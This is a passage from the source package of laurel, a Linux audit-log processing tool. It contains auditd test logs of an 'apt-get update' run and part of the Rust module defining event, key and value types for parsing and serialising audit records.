nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.278:299915): laurel-0.5.6/src/testdata/tree/09.txt000064400000000000000000000025261046102023000154550ustar 00000000000000type=SYSCALL msg=audit(1654180385.230:300272): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcb810 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723173 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.230:300272): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.230:300272): cwd="/" type=PATH msg=audit(1654180385.230:300272): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.230:300272): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.230:300272): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.230:300272): laurel-0.5.6/src/testdata/tree/10.txt000064400000000000000000000025261046102023000154450ustar 00000000000000type=SYSCALL msg=audit(1654180385.238:300274): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723175 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.238:300274): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.238:300274): cwd="/" type=PATH msg=audit(1654180385.238:300274): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.238:300274): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.238:300274): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.238:300274): laurel-0.5.6/src/testdata/tree/11.txt000064400000000000000000000025261046102023000154460ustar 00000000000000type=SYSCALL msg=audit(1654180385.490:300299): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723188 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.490:300299): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.490:300299): cwd="/" type=PATH msg=audit(1654180385.490:300299): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.490:300299): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.490:300299): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.490:300299): laurel-0.5.6/src/testdata/tree/12.txt000064400000000000000000000025261046102023000154470ustar 00000000000000type=SYSCALL msg=audit(1654180385.530:300304): arch=c000003e syscall=59 success=yes exit=0 a0=564c98850730 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723190 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.530:300304): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.530:300304): cwd="/" type=PATH msg=audit(1654180385.530:300304): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.530:300304): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.530:300304): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.530:300304): laurel-0.5.6/src/testdata/tree/13.txt000064400000000000000000000025331046102023000154460ustar 00000000000000type=SYSCALL msg=audit(1654180385.638:300341): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb770 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723197 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.638:300341): argc=1 a0="/usr/lib/apt/methods/store" type=CWD msg=audit(1654180385.638:300341): cwd="/" type=PATH msg=audit(1654180385.638:300341): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.638:300341): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.638:300341): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.638:300341): laurel-0.5.6/src/testdata/tree/14.txt000064400000000000000000000025331046102023000154470ustar 00000000000000type=SYSCALL msg=audit(1654180385.646:300342): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb980 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723198 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.646:300342): argc=1 a0="/usr/lib/apt/methods/store" type=CWD msg=audit(1654180385.646:300342): cwd="/" type=PATH msg=audit(1654180385.646:300342): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.646:300342): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.646:300342): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.646:300342): laurel-0.5.6/src/testdata/tree/15.txt000064400000000000000000000025151046102023000154500ustar 00000000000000type=SYSCALL msg=audit(1654180386.754:300393): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288f0 a1=564c98678580 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723219 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180386.754:300393): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180386.754:300393): cwd="/" type=PATH msg=audit(1654180386.754:300393): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180386.754:300393): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180386.754:300393): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180386.754:300393): laurel-0.5.6/src/testdata/tree/16.txt000064400000000000000000000025151046102023000154510ustar 00000000000000type=SYSCALL msg=audit(1654180387.662:300395): arch=c000003e syscall=59 success=yes exit=0 a0=564c9878e5f0 a1=564c98919220 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723222 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180387.662:300395): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180387.662:300395): cwd="/" type=PATH msg=audit(1654180387.662:300395): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180387.662:300395): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180387.662:300395): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180387.662:300395): laurel-0.5.6/src/testdata/tree/README.txt000064400000000000000000000002341046102023000161540ustar 00000000000000This series of files represents audit logs from a single "apt-get update" run. apt-get has been tagged by the Audit subsystem with the "software_mgmt" key. laurel-0.5.6/src/types.rs000064400000000000000000000623741046102023000134350ustar 00000000000000use std::collections::HashMap; use std::convert::{TryFrom, TryInto}; use std::fmt::{self, Debug, Display}; use std::iter::Iterator; use std::ops::Range; use std::str; use std::string::*; use indexmap::IndexMap; use lazy_static::lazy_static; use serde::ser::SerializeMap; use serde::{Serialize, Serializer}; use crate::constants::*; use crate::quoted_string::ToQuotedString; /// Collect records in [`EventBody`] context as single or multiple /// instances. /// /// Examples for single instances are `SYSCALL`,`EXECVE` (even if the /// latter can be split across multiple lines). An example for /// multiple instances is `PATH`. /// /// "Multi" records are serialized as list-of-maps (`[ { "key": /// "value", … }, { "key": "value", … } … ]`) #[derive(Debug, Clone)] pub enum EventValues { // e.g SYSCALL, EXECVE Single(Record), // e.g. PATH Multi(Vec), } impl Serialize for EventValues { #[inline(always)] fn serialize(&self, s: S) -> Result { match self { EventValues::Single(rv) => rv.serialize(s), EventValues::Multi(rvs) => s.collect_seq(rvs), } } } #[derive(Clone, Debug)] pub struct Event { pub node: Option>, pub id: EventID, pub body: IndexMap, pub filter: bool, } impl Event { pub fn new(node: Option>, id: EventID) -> Self { Event { node, id, body: IndexMap::with_capacity(5), filter: false, } } } impl Serialize for Event { #[inline(always)] fn serialize(&self, s: S) -> Result where S: Serializer, { let length = self.body.len() + if self.node.is_some() { 2 } else { 1 }; let mut map = s.serialize_map(Some(length))?; map.serialize_key("ID")?; map.serialize_value(&self.id)?; if let Some(node) = &self.node { map.serialize_key("NODE")?; map.serialize_value(&node.as_slice().to_quoted_string())?; } for (k, v) in &self.body { map.serialize_entry(&k, &v)?; } map.end() } } /// The identifier of an audit event, corresponding to the /// `msg=audit(…)` part of every _auditd(8)_ log line. /// /// It consists of a mullisecond-precision timestamp and a sequence /// number, thus guaranteeing per-host uniqueness. #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Clone, Copy, Default)] pub struct EventID { pub timestamp: u64, pub sequence: u32, } impl Display for EventID { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!( f, "{}.{:03}:{}", self.timestamp / 1000, self.timestamp % 1000, self.sequence ) } } impl Serialize for EventID { #[inline(always)] fn serialize(&self, s: S) -> Result { s.collect_str(&self) } } /// The type of an audit message, corresponding to the `type=…` part /// of every _auditd(8)_ log line. /// /// The implementation uses the same 32bit unsigned integer that is /// used by the Linux Audit API. /// /// The mappings between numeric and symbolic values is generated /// using CSV retrieved from the [`Linux Audit Project`]'s /// documentation. /// /// [`Linux Audit Project`]: https://github.com/linux-audit/audit-documentation #[derive(PartialEq, Eq, Hash, Default, Clone, Copy)] pub struct MessageType(pub u32); impl Display for MessageType { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match EVENT_NAMES.get(&(self.0)) { Some(name) => write!(f, "{}", name), None => write!(f, "UNKNOWN[{}]", self.0), } } } impl Debug for MessageType { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!( f, "MessageType({})", match EVENT_NAMES.get(&(self.0)) { Some(name) => name.to_string(), None => format!("{}", self.0), } ) } } impl Serialize for MessageType { #[inline(always)] fn serialize(&self, s: S) -> Result { match EVENT_NAMES.get(&(self.0)) { Some(name) => s.collect_str(name), None => s.collect_str(&format_args!("UNKNOWN[{}]", self.0)), } } } impl MessageType { /// True for messages that are part of multi-part events from /// kernel-space. /// /// This mimics auparse logic as of version 3.0.6 pub fn is_multipart(&self) -> bool { (1300..2100).contains(&self.0) || self == &msg_type::LOGIN } } /// Common values found in SYSCALL records #[derive(Debug, PartialEq, Eq, Clone, Copy, Hash)] pub enum Common { Arch, Syscall, Success, Exit, Items, PPid, Pid, Tty, Ses, Comm, Exe, Subj, Key, } const COMMON: &[(&str, Common)] = &[ ("arch", Common::Arch), ("syscall", Common::Syscall), ("success", Common::Success), ("exit", Common::Exit), ("items", Common::Items), ("ppid", Common::PPid), ("pid", Common::Pid), ("tty", Common::Tty), ("ses", Common::Ses), ("comm", Common::Comm), ("exe", Common::Exe), ("subj", Common::Subj), ("key", Common::Key), ]; lazy_static! { static ref COMMON_TYPES: HashMap<&'static [u8], Common> = { let mut hm = HashMap::with_capacity(COMMON.len()); for (name, value) in COMMON { hm.insert(name.as_bytes(), *value); } hm }; static ref COMMON_NAMES: HashMap = { let mut hm = HashMap::with_capacity(COMMON.len()); for (name, value) in COMMON { hm.insert(*value, *name); } hm }; } pub fn initialize() { lazy_static::initialize(&COMMON_TYPES); lazy_static::initialize(&COMMON_NAMES); } impl TryFrom<&[u8]> for Common { type Error = &'static str; fn try_from(value: &[u8]) -> Result { COMMON_TYPES.get(&value).copied().ok_or("unknown key") } } impl From for &str { fn from(value: Common) -> Self { COMMON_NAMES[&value] } } impl Display for Common { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!(f, "{}", COMMON_NAMES[self]) } } pub(crate) type NVec = tinyvec::TinyVec<[u8; 14]>; /// Representation of the key part of key/value pairs in [`Record`] #[derive(PartialEq, Eq, Clone)] pub enum Key { /// regular ASCII-only name as returned by parser Name(NVec), /// special case for *uid NameUID(NVec), /// special case for *gid NameGID(NVec), /// special case for common values Common(Common), /// regular ASCII-only name, output/serialization in all-caps, for /// translated / "enriched" values NameTranslated(NVec), /// `a0`, `a1`, `a2[0]`, `a2[1]`… Arg(u32, Option), /// `a0_len` … ArgLen(u32), Literal(&'static str), } impl Default for Key { fn default() -> Self { Key::Literal("no_key") } } impl Debug for Key { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { f.write_str(&self.to_string()) } } impl Display for Key { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self { Key::Arg(x, Some(y)) => write!(f, "a{}[{}]", x, y), Key::Arg(x, None) => write!(f, "a{}", x), Key::ArgLen(x) => write!(f, "a{}_len", x), Key::Name(r) | Key::NameUID(r) | Key::NameGID(r) => { // safety: The parser guarantees an ASCII-only key. let s = unsafe { str::from_utf8_unchecked(r) }; f.write_str(s) } Key::Common(c) => write!(f, "{}", c), Key::NameTranslated(r) => { // safety: The parser guarantees an ASCII-only key. let s = unsafe { str::from_utf8_unchecked(r) }; f.write_str(&str::to_ascii_uppercase(s)) } Key::Literal(s) => f.write_str(s), } } } impl Serialize for Key { #[inline(always)] fn serialize(&self, s: S) -> Result { match self { Key::Arg(x, Some(y)) => s.collect_str(&format_args!("a{}[{}]", x, y)), Key::Arg(x, None) => s.collect_str(&format_args!("a{}", x)), Key::ArgLen(x) => s.collect_str(&format_args!("a{}_len", x)), Key::Name(r) | Key::NameUID(r) | Key::NameGID(r) => { // safety: The parser guarantees an ASCII-only key. s.collect_str(unsafe { str::from_utf8_unchecked(r) }) } Key::Common(c) => s.collect_str(&format_args!("{}", c)), Key::NameTranslated(r) => { // safety: The parser guarantees an ASCII-only key. s.collect_str(&str::to_ascii_uppercase(unsafe { str::from_utf8_unchecked(r) })) } Key::Literal(l) => s.collect_str(l), } } } impl PartialEq for Key { fn eq(&self, other: &str) -> bool { self == other.as_bytes() } } impl PartialEq<[u8]> for Key { fn eq(&self, other: &[u8]) -> bool { match self { Key::Name(r) | Key::NameUID(r) | Key::NameGID(r) => r.as_ref() == other, _ => self.to_string().as_bytes() == other, } } } /// Quotes in [`Value`] strings #[derive(PartialEq, Eq, Clone, Copy)] pub enum Quote { None, Single, Double, Braces, } #[derive(Clone)] pub enum Number { Hex(u64), Dec(i64), Oct(u64), } impl Debug for Number { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!(f, "Num:<{}>", self) } } impl Display for Number { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self { Number::Hex(n) => write!(f, "0x{:x}", n), Number::Dec(n) => write!(f, "{}", n), Number::Oct(n) => write!(f, "0o{:o}", n), } } } impl Serialize for Number { #[inline(always)] fn serialize(&self, s: S) -> Result { match self { Number::Dec(n) => s.serialize_i64(*n), _ => s.collect_str(&format_args!("{}", self)), } } } /// Representation of the value part of key/value pairs in [`Record`] #[derive(Clone)] pub enum Value { Empty, Str(Range, Quote), /// Segments are generated in Coalesce::normalize() from `EXECVE` /// / `aX[Y]` fragments. Segments(Vec>), /// Lists are generated in Coalesce::normalize() e.g.: `EXECVE` / /// `a0`, `a1`, `a2` … -> `ARGV` List(Vec), StringifiedList(Vec), /// Key/Value map, used in ENV (environment variables) list Map(Vec<(SimpleKey, SimpleValue)>), /// Values generated in parse() from unquoted Str values /// /// For example, `SYSCALL` / `a0` etc are interpreted as /// hexadecimal numbers. Number(Number), /// Elements removed from ARGV lists Skipped((usize, usize)), Literal(&'static str), } impl Default for Value { fn default() -> Self { Self::Empty } } impl Value { pub fn str_len(&self) -> usize { match self { Value::Str(r, _) => r.len(), Value::Segments(vr) => vr.iter().map(|r| r.len()).sum(), _ => 0, } } } #[derive(Clone)] pub enum SimpleKey { Str(Range), Literal(&'static str), } #[derive(Clone)] pub enum SimpleValue { Str(Range), Number(Number), } /// List of [`Key`]/[`Value`] pairs, that are, for the most part, /// stored offsets into the raw log line. #[derive(Default, Clone)] pub struct Record { pub elems: Vec<(Key, Value)>, pub raw: Vec, } impl Debug for Record { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { let mut seq = f.debug_struct("Record"); for (k, v) in self { seq.field(&k.to_string(), &v); } seq.finish() } } impl Serialize for Record { #[inline(always)] fn serialize(&self, s: S) -> Result { let mut map = s.serialize_map(None)?; for (k, v) in self.into_iter() { match k { Key::Arg(_, _) | Key::ArgLen(_) => continue, _ => map.serialize_entry(&k, &v)?, } } map.end() } } impl Record { /// Merges two Records into one pub fn extend(&mut self, other: Self) { let rawlen = self.raw.len(); self.raw.extend(other.raw); self.elems.extend( other .elems .into_iter() .map(|(k, v)| { ( k, match v { Value::Str(r, q) => Value::Str(r.offset(rawlen), q), Value::Empty | Value::Number(_) | Value::Literal(_) => v, Value::Map(kv) => Value::Map( kv.into_iter() .map(|(k, v)| { ( k, match v { SimpleValue::Str(r) => { SimpleValue::Str(r.offset(rawlen)) } _ => v, }, ) }) .collect(), ), Value::Segments(_) => { panic!("Value::Segments should only exist in EXECVE") } Value::Skipped(_) => { panic!("Value::Skipped should only exist in EXECVE") } Value::List(_) | Value::StringifiedList(_) => { panic!("Value::List should only exist in EXECVE") } }, ) }) .collect::>(), ) } /// Retrieves the first value found for a given key pub fn get>(&self, key: K) -> Option { let key = key.as_ref(); for (k, v) in self { if format!("{}", k).as_bytes() == key { return Some(v); } } None } /// Add a byte string to a record. pub fn put>(&mut self, s: S) -> Range { let s = s.as_ref(); let b = self.raw.len(); self.raw.extend(s); b..b + s.len() } } impl<'a> IntoIterator for &'a Record { type Item = (&'a Key, RValue<'a>); type IntoIter = RecordIterator<'a>; fn into_iter(self) -> Self::IntoIter { RecordIterator { count: 0, r: self } } } pub struct RecordIterator<'a> { r: &'a Record, count: usize, } impl<'a> Iterator for RecordIterator<'a> { type Item = (&'a Key, RValue<'a>); fn next(&mut self) -> Option { self.count += 1; self.r.elems.get(self.count - 1).map(|(key, value)| { ( key, RValue { value, raw: &self.r.raw, }, ) }) } } /// RValue is borrowed from Record. #[derive(Clone, Copy)] pub struct RValue<'a> { pub value: &'a Value, pub raw: &'a [u8], } impl TryFrom> for Vec { type Error = &'static str; fn try_from(v: RValue) -> Result { match v.value { Value::Str(r, Quote::Braces) => { let mut s = Vec::with_capacity(r.len() + 2); s.push(b'{'); s.extend(Vec::from(&v.raw[r.clone()])); s.push(b'}'); Ok(s) } Value::Str(r, _) => Ok(Vec::from(&v.raw[r.clone()])), Value::Empty => Ok("".into()), Value::Segments(ranges) => { let l = ranges.iter().map(|r| r.len()).sum(); let mut sb = Vec::with_capacity(l); for r in ranges { sb.extend(Vec::from(&v.raw[r.clone()])); } Ok(sb) } Value::Number(_) => Err("Won't convert number to string"), Value::List(_) | Value::StringifiedList(_) => Err("Can't convert list to scalar"), Value::Map(_) => Err("Can't convert map to scalar"), Value::Skipped(_) => Err("Can't convert skipped to scalar"), Value::Literal(s) => Ok(s.to_string().into()), } } } impl TryFrom> for Vec> { type Error = &'static str; fn try_from(value: RValue) -> Result { match value.value { Value::List(values) | Value::StringifiedList(values) => { let mut rv = Vec::with_capacity(values.len()); for v in values { let s = Vec::try_from(RValue { value: v, raw: value.raw, })?; rv.push(s); } Ok(rv) } _ => Err("not a list"), } } } impl Debug for RValue<'_> { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match &self.value { Value::Str(r, _q) => write!( f, "Str:<{}>", &String::from_utf8_lossy(&self.raw[r.clone()]) ), Value::Empty => write!(f, "Empty"), Value::Segments(segs) => { write!(f, "Segments<")?; for (n, r) in segs.iter().enumerate() { if n > 0 { write!(f, ", ")?; } write!(f, "{}", String::from_utf8_lossy(&self.raw[r.clone()]))?; } write!(f, ">") } Value::List(vs) => { write!(f, "List:<")?; for (n, v) in vs.iter().enumerate() { if n > 0 { write!(f, ", ")?; } match v { Value::Str(r, _) => { write!(f, "{}", String::from_utf8_lossy(&self.raw[r.clone()]))?; } Value::Segments(rs) => { for r in rs { write!(f, "{}", String::from_utf8_lossy(&self.raw[r.clone()]))?; } } Value::Number(n) => write!(f, "{:?}", n)?, Value::Skipped(n) => { write!(f, "Skip", n.0, n.1)?; } Value::Empty => panic!("list can't contain empty value"), Value::List(_) | Value::StringifiedList(_) => { panic!("list can't contain list") } Value::Map(_) => panic!("list can't contain map"), Value::Literal(v) => write!(f, "{:?}", v)?, } } write!(f, ">") } Value::StringifiedList(vs) => { write!(f, "StringifiedList:<")?; for (n, v) in vs.iter().enumerate() { if n > 0 { write!(f, " ")?; } match v { Value::Str(r, _) => { write!(f, "{}", String::from_utf8_lossy(&self.raw[r.clone()]))?; } Value::Segments(rs) => { for r in rs { write!(f, "{}", String::from_utf8_lossy(&self.raw[r.clone()]))?; } } Value::Number(n) => write!(f, "{:?}", n)?, Value::Skipped(n) => { write!(f, "Skip", n.0, n.1)?; } Value::Empty => panic!("list can't contain empty value"), Value::List(_) | Value::StringifiedList(_) => { panic!("list can't contain list") } Value::Map(_) => panic!("List can't contain mapr"), Value::Literal(v) => write!(f, "{}", v)?, } } write!(f, ">") } Value::Map(vs) => { write!(f, "Map:<")?; for (n, v) in vs.iter().enumerate() { if n > 0 { write!(f, " ")?; } let v = match &v.1 { SimpleValue::Str(r) => String::from_utf8_lossy(&self.raw[r.clone()]).into(), SimpleValue::Number(n) => format!("{:?}", n), }; write!(f, "{}={}", n, v)?; } write!(f, ">") } Value::Number(n) => write!(f, "{:?}", n), Value::Skipped(n) => write!(f, "Skip", n.0, n.1), Value::Literal(s) => write!(f, "{:?}", s), } } } impl Serialize for RValue<'_> { #[inline(always)] fn serialize(&self, s: S) -> Result { match self.value { Value::Empty => s.serialize_none(), Value::Str(r, q) => { let (q1, q2) = if let Quote::Braces = q { ("{", "}") } else { ("", "") }; s.collect_str(&format_args!( "{}{}{}", q1, &self.raw[r.clone()].to_quoted_string(), q2 )) } Value::Segments(segs) => { let l = segs.iter().map(|r| r.len()).sum(); let mut sb = String::with_capacity(l); for seg in segs { sb.push_str(&self.raw[seg.clone()].to_quoted_string()); } s.collect_str(&sb) } Value::List(vs) => s.collect_seq(vs.iter().map(|v| RValue { raw: self.raw, value: v, })), Value::StringifiedList(vs) => { let mut buf: Vec = Vec::with_capacity(vs.len()); let mut first = true; for v in vs { if first { first = false; } else { buf.push(b' '); } if let Value::Skipped((args, bytes)) = v { buf.extend( format!("<<< Skipped: args={}, bytes={} >>>", args, bytes).bytes(), ); } else { buf.extend( RValue { raw: 